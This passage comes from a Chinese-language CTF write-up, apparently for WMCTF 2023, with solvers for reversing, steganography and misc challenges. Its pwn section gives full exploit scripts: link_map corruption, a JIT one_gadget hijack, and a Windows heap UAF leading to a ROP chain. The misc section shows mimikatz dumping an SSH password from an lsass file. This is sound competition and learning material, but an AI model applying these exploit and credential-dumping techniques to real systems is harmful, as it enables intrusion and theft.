index = fd.find(search_pattern)
indexs = []
while index != -1:
#print("Found at index:", index)
indexs.append(index)
index = fd.find(search_pattern, index + len(search_pattern))
for i in indexs:
buf[i:i+4] = bytes([9,0,9,0,])
buf = bytes(buf)
import marshal
sample =marshal.loads(buf[16:])
import dis
try:
dis.dis(sample)
except:
pass
open("dump.pyc","wb").write(buf)
然后反编译成功后VM 的while循环结构有些问题 根据具体字节码逆向出来
然后使用z3约束求解就可以
key=[1835819331, 1853321028, 1768711490, 1432712805, 2177920767, 4020699579, 2261476601, 3551400604, 711874531, 3318306392, 1124217505, 2427199549, 3099853672, 2098025776, 1041196945, 2929936300, 246748610, 1941455090, 1303848803, 3809763535, 1395557789, 546751855, 1830937100, 2385871555, 2516030638, 3043054017, 3628118989, 1450520846, 1825094265, 3651791800, 32069749, 1469868411, 919887482, 4017993154, 4002737591, 3104343244, 4134211933, 420914335, 4152510760, 1317719524, 1990496755, 1873950060, 2553314372, 3602559392]
def enc(cin1,cin2,key):
cnt = 0
eax = cin1
ebx = cin2
ecx = 0
#print("round",cnt,eax,ebx)
eax+=key[ecx]
eax&=0xffffffff
ecx = 1
ebx+=key[ecx]
ebx&=0xffffffff
#print("round",cnt,eax,ebx)
while(1):
cnt+=1
eax^=ebx
#print("round",cnt,eax,ebx)
ecx = eax
r8 = ebx
ebx &= 31
eax<<=ebx
eax&=0xffffffff
#print("round",cnt,eax,ebx)
edx = 32 - ebx
ecx>>=edx
eax |=ecx
#print("round",cnt,eax,ebx)
#eax循环左移 ebx个
eax+=key[cnt*2]
eax&=0xffffffff
#print("round",cnt,eax,ebx)
###########
ebx = r8
ebx^=eax
ecx = ebx
edx = eax
edx &=31
ebx<<=edx
r8 = 32-edx
ecx>>=r8
ebx|=ecx
ebx+=key[2*cnt+1]
ebx&=0xffffffff
#print("round",cnt,eax,ebx)
if(cnt==21):
break
return eax,ebx
from Crypto.Util.number import *
out1,out2= enc(825307441,825307441,key)
print(out1,out2)
# round 0 825307441 825307441
# round 0 1919631470 4998030818
# round 1 5830911372 4998030818
# round 1 1848809008 2
# round 1 1848809013 2
# round 1 1549280757 2
# round 1 1549280757 3250967850
mmm=[70971958, 1454480124, 4145947100, 3683618452, 1295312797, 2622622830, 4227519997, 855210028, 3149806017, 3649402294, 687393912, 2766439826, 247296709, 2944897322, 2347888534, 375443730]
from z3 import *
S = Solver()
x = [BitVec("x[%d]"%i,33) for i in range(16)]
dec = [0]*16
for i in range(8):
if(i>0):
x[2*i] ^= mmm[2*i-2]
x[2*i+1] ^= mmm[2*i-2+1]
dec[2*i],dec[2*i+1] = enc(x[i*2],x[i*2+1],key)
for i in range(16):
S.add(dec[i]==mmm[i])
#print(o1,o2)
#1633771874 1633771873
#,
S.check()
ans = S.model()
print(ans)
x[4] = 1730238768
x[13] = 829583920
x[10] = 1667974770
x[15] = 1461789053
x[9] = 1752449633
x[14] = 1914787663
x[8] = 559049063
x[2] = 811877750
x[7] = 812462881
x[0] = 1464681300
x[12] = 1633905485
x[11] = 1869431345
x[6] = 1098343795
x[1] = 1182484272
x[5] = 1967223397
x[3] = 862873966
for i in x:
print(long_to_bytes(i))
gohunt
动态调试程序
发现程序首先对输入的字符串进行填补 并进行XXTEA加密
加密后与一个字符串进行异或
加密过后转换为大段序 进行大整数除法 除0x3A 余数作为索引输出
逆向即可
cin = "0000111122223333444455556666777788889999"
xor_data=[ 0x4E, 0x50, 0x57, 0x72, 0x70, 0x64, 0x31, 0x43, 0x45, 0x4A,
0x48, 0x32, 0x51, 0x63, 0x4A, 0x33]
after = [ 0x46, 0x93, 0x1D, 0xE3, 0xE2, 0x98, 0x7C, 0x7A, 0xF1, 0x98,
0x48, 0xC1, 0x5C, 0xB1, 0xFB, 0xA4, 0x53, 0xD3, 0x24, 0x34,
0x37, 0x15, 0xE7, 0x14, 0x46, 0x9A, 0x83, 0xDA, 0x3A, 0x23,
0x8E, 0x20, 0x31, 0x7F, 0x63, 0xF7, 0x91, 0xE2, 0x39, 0xBA,
0xE1, 0x32, 0x61, 0x28]
# for i in range(len(after)):
# print(hex(after[i]^xor_data[i%16]),end=',')
def hex2number(cin):
return int(cin,16)
def little(cin):
tmp = bytes.fromhex(cin)[::-1].hex()
return int(tmp,16)
t1 = "286132E1BA39E291F7637F31208E233ADA839A4614E715373424D353A4FBB15CC14898F17A7C98E2"
m1 = little(t1)//0x3a
print(hex(m1))
data=0x1A7B9611A7B9611A
table = "nY7TwcE41bzWvMQZXa8fyeprJoBdmhsu9DqVgxRPtFLKN65UH2CikG3SAj"
#final
"""
f3 20 41 10 cb 56 8c 5c 09 0c 72 fd d9 d7 54 00 7c d7 b0 09 f1 44 5f 7f e0 75 db 76 71 41 fe a0 f0 24 71 d6 60 01 14 42 69 37 04 8c 19
67 02 01 de 49 90 50 40 18 58 71 c9 c0 3a bf 04 59 dd 6d 71 f8 ff d1 51 c6 70 2c 5f 31 c0 51 d7 76 f4 b1 c3 27 01 63 5a d3 04 04 1c bc
"""
table = "nY7TwcE41bzWvMQZXa8fyeprJoBdmhsu9DqVgxRPtFLKN65UH2CikG3SAj"
out = "YMQHsYFQu7kkTqu3Xmt1ruYUDLU8uaMoPpsfjqYF4TQMMKtw5KF7cpWrkWpk3"
cin = 0x36ABB52338C8FC69
result = 0xF14E2854D753CC
yu = 0x31
# while(cin>=0x3a):
# yu = cin%0x3a
# cin//=0x3a
# #print(hex(cin))
# print(table[yu],end='')
# print(table[cin])
tmp1 = out
sum = 0
for i in tmp1:
yu = table.index(i)
if(sum == 0):
sum +=yu
else:
sum = sum*0x3a+yu
print(hex(sum))
cin=bytes.fromhex("db27eeea98b6a74f5ea68eb2a763006b50f6ddc32b2649f0bbfe014080a770f679b0cd8d2006fd4fd548262e")
arr=[cin[i]^xor_data[i%len(xor_data)] for i in range(len(cin))]
import struct
arr_bytes= bytes(arr)
print(len(arr_bytes))
enc =[struct.unpack('<I', bytes(arr_bytes[i:i+4]))[0] for i in range(0,44,4)]
print(enc)
xxtea解密
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MX (z>>5^y<<2) + (y>>3^z<<4)^(sum^y) + (k[p&3^e]^z);
long btea(long* v, long n, long* k) {
unsigned long z=v[n-1], y=v[0], sum=0, e, DELTA=0x9e3779b9;
long p, q ;
if (n > 1) { /* Coding Part */
q = 6 + 52/n;
while (q-- > 0) {
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++) y = v[p+1], z = v[p] += MX;
y = v[0];
z = v[n-1] += MX;
}
return 0 ;
} else if (n < -1) { /* Decoding Part */
n = -n;
q = 6 + 52/n;
sum = q*DELTA ;
while (sum != 0) {
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--) z = v[p-1], y = v[p] -= MX;
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
return 0;
}
return 1;
}
void main() {
long n = 10;
unsigned long k[4] = {0x32544D46, 0x4845435A, 0x63703653, 0x52324466};
unsigned int cin[20]={ 2562291605, 211210984, 2160520219, 1481244918, 2978653726, 3011002971, 1917433086, 3308963025, 4288340023, 214721104, 476971664};
btea(cin,-11,k);
printf("%s",cin);
}
Pwn
blindless
直接给了后门
int __cdecl backdoor()
{
return system("cat /flag");
}
executeBrainfuck 函数没有越界检查,可以向后越界。
int __cdecl executeBrainfuck(char *code)
{
_BYTE c[5]; // [rsp+13h] [rbp-5h]
c[4] = 0;
*(_DWORD *)c = (unsigned __int8)*code;
while ( *(int *)&c[1] <= 255 )
{
if ( c[0] == 0x71 )
return 0;
if ( c[0] <= 113 )
{
if ( c[0] == 0x40 )
{
data += *(unsigned int *)&code[*(int *)&c[1] + 1];
*(_DWORD *)&c[1] += 5;
}
else if ( c[0] <= 64 )
{
if ( c[0] == 0x3E )
{
++data;
++*(_DWORD *)&c[1];
}
else if ( c[0] <= 62 )
{
if ( c[0] == 43 )
{
data += 8;
++*(_DWORD *)&c[1];
}
else if ( c[0] == 0x2E )
{
*data = code[*(int *)&c[1] + 1];
*(_DWORD *)&c[1] += 2;
}
}
}
}
c[0] = code[*(int *)&c[1]];
}
return 0;
}
打dl的link_map改偏移到后门函数即可,利用脚本如下:
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
while(True):
sh = remote('1.13.101.243', 28502)
sh.sendlineafter(b'size\n', str(0x60000).encode())
sh.sendlineafter(b'size\n', str(0x100).encode())
payload = b''
payload += p8(0x40) + p32(0x286180-0x2000) # address('ld')+0x2f190
payload += p8(0x2e) + p8(0xb1)
payload += p8(0x40) + p32(1) # address('ld')+0x2f191
payload += p8(0x2e) + p8(0x3c)
payload += p8(0x40) + p32(0x11f) # address('ld')+0x2f2b0
payload += p8(0x2e) + p8(0x98)
payload += p8(0x71)
sh.sendafter(b'code\n', payload)
result = sh.recvrepeat(1)
if result:
print(result)
exit(0)
sh.close()
可以断在下面两个地址查看调用情况:
b *{address('ld')+0x11f3b}
b *{address('ld')+0x11f84}
jit
题目会把我们输入的内容翻译成汇编代码,输入的每条代码长度为8字节,每条代码的信息布局如下:
p8(指令), p8(寄存器), p16(偏移), p32(立即数)
程序只做转译,不做保护,所以可以根据转译规则编写利用代码,转译规则部分在地址 0x5A50 处,进入执行体执行的指令在 0x2947。
对不同版本的libc进行测试,测出libc版本,然后使用one_gadget来劫持栈上的返回地址。
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('1.13.101.243', 28474)
Program = \
[
p8(0+4), p8(0), p16(0), p32(0xffab8069+0xbfa98), # add eax,0xffab8069+0xbfa98
p8(0x5f+4), p8(10), p16(0x138), p32(0), # mov DWORD PTR [rbp+0x138],eax
]
sh.sendafter(b'Program: ', binascii.b2a_hex(flat(Program)) + b'\n')
Memory = \
[
0x62,
]
sh.sendafter(b'Memory: ', binascii.b2a_hex(flat(Memory)) + b'\n')
sh.interactive()
roguegate
地址 0x140008800 处有验证检查,该验证的加密函数在 sub_1400084E0,第一个参数是输出变量,第二个参数是输入变量。开始时会随机生成字符串并将生成的字符串用 sub_1400084E0 处理得到结果数据。随后用户输入,输入之后会使用用户输入的内容再次调用 sub_1400084E0 进行处理,得到待验证数据。要求两次处理的结果一致,也就是要用户输入第一次随机生成的字符串。
根据验证逻辑进行爆破:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
size_t get_high_value_from_mul(size_t x, size_t y)
{
unsigned char value[sizeof(void *) * 4] = {0}, *ptr;
unsigned char x_c[sizeof(void *)] = {0};
unsigned char y_c[sizeof(void *)] = {0};
size_t temp1, temp2;
unsigned short temp3;
int i, j;
*(size_t*)x_c = x;
*(size_t*)y_c = y;
for(i = 0; i < sizeof(void *); i ++)
{
temp1 = x_c[i];
for(j = 0; j < sizeof(void *); j++)
{
temp2 = temp1 * y_c[j];
ptr = value + i + j;
do
{
temp3 = *(unsigned short*)ptr;
temp2 += temp3;
*(unsigned short*)ptr = temp2;
temp2 = temp2 >> 16;
ptr += 2;
}while(temp2);
}
}
return *(size_t*)(value + sizeof(void *));
}
int main()
{
char table[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
#define LENGTH 10
int i, j;
time_t now;
size_t v6, v7;
char output[0x10];
setbuf(stdout, NULL);
now = time(NULL);
for(i = - LENGTH; i < LENGTH; i++)
{
srand(now + i);
memset(output, 0, sizeof(output));
for(j = 0; j < 10; j ++)
{
v6 = rand();
v7 = get_high_value_from_mul(v6, 0x842108421084211);
output[j] = table[v6 - 62 * ((v7 + ((v6 - v7) >> 1)) >> 5)];
}
puts(output);
}
puts("end");
return 0;
}
验证通过后就可以进入 0x140007D90 主逻辑。主逻辑是传统堆题,直接给了UAF和Heap overflow。
void main_heap()
{
...
case 2:
sub_140009DF0(std::cout, (__int64)"Enter User ID: ");
std::istream::operator>>(std::cin, &v34);
if ( v34 > 0x63 || qword_140013068[2 * (int)v34] != 0x1A1A1A1A1A1A1A1Ai64 )
goto LABEL_22;
v16 = (_BYTE *)qword_140013060[2 * (int)v34];
sub_140009DF0(std::cout, (__int64)"Enter New User Length: ");
std::istream::operator>>(std::cin, &v35);
memset(&v37, 0, sizeof(v37));
v17 = -1i64;
do
++v17;
while ( v16[v17] );
char2string(&v37, v16, v17);
v18 = v37.length + 8; // Heap overflow
v19 = v35;
if ( v37.max_length >= 0x10ui64 )
{
buf = (void *)v37.buf;
if ( (unsigned __int64)(v37.max_length + 1) >= 0x1000 )
{
buf = *(void **)(v37.buf - 8);
if ( (unsigned __int64)(v37.buf - (_QWORD)buf - 8) > 0x1F )
invalid_parameter_noinfo_noreturn();
}
j_j_free(buf);
}
if ( v19 <= v18 )
{
sub_140009DF0(std::cout, (__int64)"Enter New User Name: ");
std::istream::read(std::cin, v16, v35);
}
break;
case 3:
sub_140009DF0(std::cout, (__int64)"Enter User ID: ");
std::istream::operator>>(std::cin, &v34);
if ( v34 <= 0x63 && qword_140013068[2 * (int)v34] == 0x1A1A1A1A1A1A1A1Ai64 )
HeapFree(hHeap, 1u, (LPVOID)qword_140013060[2 * (int)v34]); // UAF
else
LABEL_22:
sub_140009DF0(std::cout, (__int64)"Invalid user ID.\n");
break;
case 4:
...
}
泄漏地址的部分在功能5. Into the forest!
的内部,具体位置在 1400073D0
处。5. Into the forest!
功能提供了一个迷宫游玩功能,当我们处在迷宫的指定位置处后,就能触发后门 1400072A0
从而执行到 1400073D0
。触发的具体指令在 140007CE6
(call qword ptr [rax+10h]
)处。
函数1400073D0
会直接给我们程序基地址,随后可以进行 unlink 攻击并获得任意读写权限。
劫持栈执行 WinExec 时,执行失败并返回 367 错误号,查阅文档后知道该错误是 ERROR_CHILD_PROCESS_BLOCKED 错误,原因是题目调用了 SeTokenIsNoChildProcessRestricted 从而限制了子进程的创建。所以该题需要使用传统的open|read|write
来获取flag。
利用脚本:
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='windows', log_level='info')
sh = remote('192.168.223.172', 6666)
keys = sh.recvuntil(b'end', drop=True).split(b'\r\n')
sh.close()
sh = remote('175.27.236.172', 6789)
sh.recvuntil(b'Enter your answer: ')
result = b''
key_i = 0
while( b'Congratulations' not in result ):
sh.sendline(keys[key_i])
result = sh.recvuntil(b'\r\n')
key_i += 1
def add(index, content):
sh.sendlineafter(b'please enter : \r\n', b'1')
sh.sendlineafter(b'Enter User ID:', str(index).encode())
sh.sendlineafter(b'Enter User Name:', content)
def edit(index, size, content):
sh.sendlineafter(b'please enter : \r\n', b'2')
sh.sendlineafter(b'Enter User ID:', str(index).encode())
sh.sendafter(b'Enter New User Length:', str(size).encode())
sh.sendline(content)
def delete(index):
sh.sendlineafter(b'please enter : \r\n', b'3')
sh.sendlineafter(b'Enter User ID:', str(index).encode())
def show(index):
sh.sendlineafter(b'please enter : \r\n', b'4')
sh.sendlineafter(b'Enter User ID:', str(index).encode())
sh.recvuntil(b'name is: ')
add(0, b'a' * 0x17)
add(1, b'a' * 0x17)
add(2, b'a' * 0x17)
add(3, b'a' * 0x17)
add(4, b'a' * 0x17)
add(5, b'a' * 0x17)
delete(2)
delete(4)
sh.sendlineafter(b'please enter : \r\n', b'5')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sh.sendlineafter(b'creature?', b'2')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sh.sendlineafter(b'creature?', b'1')
sh.sendlineafter(b'going ?(y/n)', b'y')
sh.recvuntil(b'for gifts.\r\n')
image_addr = int(sh.recvuntil(b'\r\n', drop=True), 16)
success('image_addr: ' + hex(image_addr))
ucrtbase_addr = int(sh.recvuntil(b'\r\n', drop=True), 16)
success('ucrtbase_addr: ' + hex(ucrtbase_addr))
sh.sendlineafter(b'Enter New User ID: ', str(2).encode())
sh.sendafter(b'Length: ', str(0x10).encode())
sh.sendline(p64(image_addr + 0x13078) + p64(image_addr + 0x13080))
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
delete(1)
edit(2, 8, p64(image_addr + 0x13060))
edit(2, 8, p64(image_addr + 0x14170))
show(0)
heap_addr = u64(sh.recvuntil(b'\r\n', drop=True).ljust(8, b'\0'))
success('heap_addr: ' + hex(heap_addr))
edit(2, 8, p64(heap_addr))
show(0)
heap_addr2 = u64(sh.recvuntil(b'\r\n', drop=True).ljust(8, b'\0'))
success('heap_addr2: ' + hex(heap_addr2))
edit(2, 8, p64(image_addr+0xE010))
show(0)
kernel32_addr = u64(sh.recvuntil(b'\r\n', drop=True).ljust(8, b'\0')) - 0x1010
success('kernel32_addr: ' + hex(kernel32_addr))
edit(2, 8, p64(kernel32_addr+0x79fa0))
show(0)
ntdll_addr = u64(sh.recvuntil(b'\r\n', drop=True).ljust(8, b'\0')) - 0x178d0
success('ntdll_addr: ' + hex(ntdll_addr))
edit(2, 8, p64(image_addr + 0x13080))
edit(0, 8, p64(image_addr + 0x13060-1))
def write(addr, value):
sh.sendlineafter(b'please enter : \r\n', b'2')
sh.sendlineafter(b'Enter User ID:', str(2).encode())
sh.sendafter(b'Enter New User Length:', str(8).encode())
sh.sendline(b'\0' + p64(addr)[:7])
sh.sendlineafter(b'please enter : \r\n', b'2')
sh.sendlineafter(b'Enter User ID:', str(0).encode())
sh.sendafter(b'Enter New User Length:', str(8).encode())
sh.sendline(p64(value))
def read(addr):
sh.sendlineafter(b'please enter : \r\n', b'2')
sh.sendlineafter(b'Enter User ID:', str(2).encode())
sh.sendafter(b'Enter New User Length:', str(8).encode())
sh.sendline(b'\0' + p64(addr)[:7])
sh.sendlineafter(b'please enter : \r\n', b'4')
sh.sendlineafter(b'Enter User ID:', str(0).encode())
sh.recvuntil(b'name is: ')
return u64(sh.recvuntil(b'\r\n', drop=True).ljust(8, b'\0'))
peb_addr = read(ntdll_addr + 0x166308) - 0x80
success('peb_addr: ' + hex(peb_addr))
teb_addr = peb_addr + 0x1000
success('teb_addr: ' + hex(teb_addr))
stack_top_addr = (read(teb_addr + 8+2) << 16) - 8
success('stack_top_addr: ' + hex(stack_top_addr))
stack_addr = stack_top_addr
while(True):
tmp = read(stack_addr)
success( hex(stack_addr) + ': ' + hex(tmp))
if tmp == image_addr + 0x916B:
break
stack_addr -= 8
success('offset: ' + hex(stack_top_addr - stack_addr))
write(stack_addr, ntdll_addr+0x9227b) # pop rcx; ret
stack_addr += 8
path = b"flag.txt\0"
path_i = 0
while(path):
tmp = path[:8].ljust(8, b'\0')
write(stack_top_addr-0x38+path_i, u64(tmp))
path = path[8:]
path_i += 8
write(stack_addr, stack_top_addr-0x38) # path
stack_addr += 8
write(stack_addr, ntdll_addr + 0xb5752) # pop rdx; ret
stack_addr += 8
write(stack_addr, 0) # 1
stack_addr += 8
write(stack_addr, ntdll_addr + 0x106a) # ret
stack_addr += 8
write(stack_addr, (ucrtbase_addr + 0xA28C0)) # open
stack_addr += 8
write(stack_addr, ntdll_addr+0x30e93) # add rsp, 0x48; ret;
stack_addr += 0x50
write(stack_addr, ntdll_addr+0x9227b) # pop rcx; ret
stack_addr += 8
write(stack_addr, 3) # fd
stack_addr += 8
write(stack_addr, ntdll_addr + 0xb5752) # pop rdx; ret
stack_addr += 8
write(stack_addr, stack_top_addr-0x4000) # buf
stack_addr += 8
write(stack_addr, ntdll_addr + 0x643f3) # pop r8; ret
stack_addr += 8
write(stack_addr, 0x100) # len
stack_addr += 8
write(stack_addr, (ucrtbase_addr + 0x15990)) # read
stack_addr += 8
write(stack_addr, ntdll_addr+0x30e93) # add rsp, 0x48; ret;
stack_addr += 0x50
write(stack_addr, ntdll_addr+0x9227b) # pop rcx; ret
stack_addr += 8
write(stack_addr, 1) # fd
stack_addr += 8
write(stack_addr, ntdll_addr + 0xb5752) # pop rdx; ret
stack_addr += 8
write(stack_addr, stack_top_addr-0x4000) # buf
stack_addr += 8
write(stack_addr, ntdll_addr + 0x643f3) # pop r8; ret
stack_addr += 8
write(stack_addr, 0x100) # len
stack_addr += 8
write(stack_addr, (ucrtbase_addr + 0x15310)) # read
stack_addr += 8
sh.sendlineafter(b'please enter : \r\n', b'6')
sh.interactive()
STEG
StegLab1-PointAttack
Warm_UP
让gpt写了个LSB
enc
class Solution:
def Encrypt(self, img, key):
img = Image.open(img)
img_array = np.array(img)
key_binary = ''.join(format(ord(c), '08b') for c in key)
key_len = len(key_binary)
height, width, _ = img_array.shape
max_pixels = height * width * 3
if key_len > max_pixels:
raise ValueError("Image size is not sufficient to hide the key.")
key_index = 0
for i in range(height):
for j in range(width):
for k in range(3):
if key_index < key_len:
img_array[i][j][k] = (img_array[i][j][k] & 0xFE) | int(key_binary[key_index])
key_index += 1
encrypted_img = Image.fromarray(img_array)
return encrypted_img
dec
class Solution:
def Decrypt(self, img) -> str:
img = Image.open(img)
img_array = np.array(img)
height, width, _ = img_array.shape
key_binary = ""
key_index = 0
for i in range(height):
for j in range(width):
for k in range(3):
key_bit = img_array[i][j][k] & 1
key_binary += str(key_bit)
key_index += 1
if key_index >= 80: # 假设密钥长度不超过80位
break
if key_index >= 80:
break
if key_index >= 80:
break
key = ""
for i in range(0, len(key_binary), 8):
key += chr(int(key_binary[i:i+8], 2))
return key
得到
Congratulations
This is Your flag: flag{test_flag}
Random_Point_Attack
经过热身题,熟悉了OJ,发现:
与本地测试还是有不小的差距
OJ比较认
np.array
、Image.fromarray
来进行数据的读写
读题知道有随机噪音的干扰,朴素的将数据重复三次,然后取出现次数最多的为正确数据即可实现解密
enc
class Solution:
def Encrypt(self, img, key):
img = Image.open(img)
img_array = np.array(img)
key = key + '@'
key_array = np.frombuffer(key.encode(), dtype=np.uint8)
for i in range(len(key_array)):
for j in range(3):
img_array[0, i, j] = key_array[i]
encrypted_img = Image.fromarray(img_array)
return encrypted_img
dec
class Solution:
def Decrypt(self,img)-> str:
img = Image.open(img)
img_array = np.array(img)
data = []
for i in range(10):
for j in range(3):
data.append(img_array[0, i, j])
data = [data[i*3:(i+1)*3] for i in range(len(data)//3)]
def get_num(list1):
num = 0
count = 0
for i in set(list1):
if list1.count(i) > count:
num = i
count = list1.count(i)
return num
key = bytes([get_num(i) for i in data]).split(b'@')[0].decode()
return key
This is Your flag: wmctf{35dba2e1-cbda-436f-ba82-ebf2e052a9d3}
EZ_V1dio
下载得到 avi 音频,尝试分离每一帧
import cv2
import os
if not os.path.exists('frames'):
os.makedirs('frames')
video = cv2.VideoCapture('./flag.avi')
frame_count = 0
while True:
ret, frame = video.read()
if not ret:
break
filename = f'frames/frame_{frame_count}.jpg'
cv2.imwrite(filename, frame)
frame_count += 1
video.release()
在第一帧的R0通道看到 W 字符
分离每一帧的R0通道
import cv2
import os
if not os.path.exists('R0'):
os.makedirs('R0')
video = cv2.VideoCapture('./flag.avi')
frame_count = 0
while True:
ret, frame = video.read()
if not ret:
break
r_channel = frame[:, :, 2] # OpenCV默认通道顺序为BGR,索引2为R通道
r_lowest_bit = r_channel & 1
r_lowest_bit <<= 7
filename = f'R0/frame_{frame_count}.jpg'
cv2.imwrite(filename, r_lowest_bit)
frame_count += 1
video.release()
去除重复后得到
WMCTF{5b658ab9-946c-3869-fc21-6ad99b3bc714}
MISC
oversharing
文件中有lsass.DMP ,使用 mimikatz 进行提取用户密码
导出 lsass.DMP 修改文件名为 lsass.dmp 并使用 mimikatz x64 载入
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
获得 ssh 的用户名与密码
* Domain : ssh@192.168.20.202:22/randark
* Password : 1a05cf83-e450-4fbf-a2a8-b9fd2bd37d4e
cat flag
WMCTF{9f1690f4-7b41-429f-a243-505997079997}
Fantastic terminal
非预期解,在 out.warms 中读取flag
WMCTF{fanta3t1c_term1nal_1n_the_c0nta1ner_1n_the_br0w3er}
Fantastic terminal Rev
此题修复了之前的可以直接从 out.warms 读取flag
docker build -t wmctf .
docker run -it wmctf
启动终端后
cd challenge
base64 challenge
因为要获取challenge这个文件,但是直接cat字符编码是错误的,最好是将源文件可以完整保存下来
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAYBEAAAAAAABAAAAAAAAAAEAxAAAAAAAAAAAAAE
...
...
AAAAAAAAAAAAAAAAAA==
base64 解码后将 challenge 在IDA中进行反编译
动态调试获得flag
![`)I8H69}K3@TWTZ)(7C76(0.png](WMCTF-2023-Writeup/1692585251475-713e3dc8-1867-4fc6-942b-ee5ce921975b.png)
WMCTF{r3venge_terminal_after_fuck1ng_paatchhhhhhhhhhhhh}
find me
https://www.reddit.com/user/WearyMeadow/comments/15u7773/hello/
根据提示拿到加密流量。
根据出题人的id搜到github
有博客平台 正好有个加密算法的文章不过是需要密码才能看
https://wearymeadow.icu/2023/07/31/My-secret-encryption-algorithm/
试了几个弱口令不行,继续翻github
拿这个密码登录即可
给了个服务端和客户端交互的加密通信脚本
自己根据加密逻辑来解密
加密逻辑:
def encrypt(message, key):
seed = random.randint(0,11451)
random.seed(seed)
encrypted = b''
for i in range(len(message)):
encrypted += bytes([message[i] ^ random.randint(0, 255)])
cipher = AES.new(key, AES.MODE_ECB)
encrypted = cipher.encrypt(pad(encrypted))
return encrypted
首先这里有个seed 随机0-11451
重点是下面异或加密字符串时候每个字符都是不同的异或key,随机0-255
但是用到了seed,如果seed值知道的话,那么异或key是固定的顺序和值根据这个逻辑就清楚了我们需要遍历所有的seed 0-11451,拿到所有的异或key的序列
(但其实是拿不到所有的,因为加密字符串长度不同,异或key的值也不同,所以需要知道加密字符串的长度)
解密脚本
import socket
import random
from Crypto.Cipher import AES
from sys import argv
def pad(s):
return s + b"\0" * (AES.block_size - len(s) % AES.block_size)
all_list = [] #所有异或key序列
for seed in range(0,11451): #遍历seed值来记录固定长度下所有异或key的序列
random.seed(seed)
list1 = []
for i in range(48): #这里的值是加密字符的长度
a = random.randint(0, 255)
list1.append(a)
all_list.append(list1)
key = pad(b'mysecretkey')
cip = '''778f6cc13090c6a4f0b51939d784a6b38512f80a92b82bf8225fb8bfed713b2f8eee53dfbe228c7296449d904467a1677c83b9534e2dfcfcbc6f7b08f77f96f2
'''
for j in range(0,11451): #遍历不同seed值的不同异或key
print(j)
use_list = all_list[j]
def decrypt(ciphertext, key):
cipher = AES.new(key, AES.MODE_ECB)
decrypted = cipher.decrypt(ciphertext)
decrypted = decrypted.rstrip(b"\0")
# print(len(decrypted))
decrypted = bytes([decrypted[i] ^ use_list[i] for i in range(len(decrypted))]) #对应异或解密
return decrypted
re = decrypt(bytes.fromhex(cip), key)
print(re)
这里的加密字符串长度如何知道? 脚本中先输出
bytes.fromhex(cip)
print(len(decrypted))
每次通讯需要分别解密